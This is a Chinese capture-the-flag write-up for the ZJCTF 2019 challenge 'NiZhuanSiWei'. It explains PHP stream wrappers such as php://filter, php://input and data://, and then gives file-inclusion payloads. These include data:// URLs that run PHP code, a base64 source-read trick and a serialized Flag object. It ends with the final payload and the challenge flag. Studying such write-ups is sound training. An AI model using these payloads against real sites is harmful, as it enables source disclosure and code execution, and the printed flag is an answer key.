【PHP伪协议】ZJCTF 2019 NiZhuanSiWei WriteUp

前景知识

php反序列化data协议filter协议

PHP伪协议:

PHP中支持的伪协议
1
2
3
4
5
6
7
8
9
10
11
12
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
file:// 协议

使用file协议要求:

PHP.ini:
file:// 协议在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on

使用方法:file:// [文件的绝对路径和文件名]

1
2
3
4
5
6
<?php
if(isset($_GET['page']))
{
include $_GET['page'];
}
?>

url/?page=file://e:/tool/phpstudy/phptutorial/www/phpinfo.php

php://协议
php://filter :

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

1
2
3
4
resource=<要过滤的数据流>     这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
1
2
3
php://filter/read=convert.base64-encode/resource=upload.php
这里读的过滤器为convert.base64-encode,就和字面上的意思一样,把输入流base64-encode。
resource=upload.php,代表读取upload.php的内容
php://input

php://input 是个可以访问请求的原始数据的只读流,可以读取到post没有解析的原始数据, 将post请求中的数据作为PHP代码执行。因为它不依赖于特定的 php.ini 指令。
注:enctype=”multipart/form-data” 的时候 php://input 是无效的。

allow_url_fopen :off/on
allow_url_include:on

1
2
3
4
5
6
7
8
9
10
11
12
13
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
include($file); //class.php
}else{
echo "you are not admin ! ";
}
// 解法为 url/index.php?user=php://input
// [POSTDATA] the user is admin
// 最后输出为hello admin!并且包含对应文件
data://协议

data:资源类型;编码,内容
数据流封装器
当allow_url_include 打开的时候,任意文件包含就会成为任意命令执行

PHP.ini:
data://协议必须双在on才能正常使用;
allow_url_fopen :on
allow_url_include:on
php 版本大于等于 php5.2

1
2
3
4
 <?php  
$filename=$_GET["a"];
include("$filename");
?>

解法:

1
2
3
4
5
6
7
8
http://127.0.0.1/xxx.php?a=data://text/plain,<?php phpinfo()?>
or
http://127.0.0.1/xxx.php?a=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

或者
http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>
or
http://127.0.0.1/cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

小结:

php伪协议

WriteUp

题目源代码

image-20210509160820701

textdata://或者php://input伪协议绕过,filephp://filter绕过

http://4f2598c3-27c1-4308-baff-129552618617.node3.buuoj.cn/?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

image-20210509162953530

1
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

base64解密后:

1
2
3
4
5
6
7
8
9
10
11
12
<?php  
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php  
class Flag{ //flag.php
public $file = "flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a = new Flag();
echo serialize($a);
?>

得到O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

image-20210509163845874

最终payload为:http://4f2598c3-27c1-4308-baff-129552618617.node3.buuoj.cn/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

image-20210509163925445

flag为:flag{5ef5c6d1-aa38-4e12-af5b-25d7006aaa81}

参考资料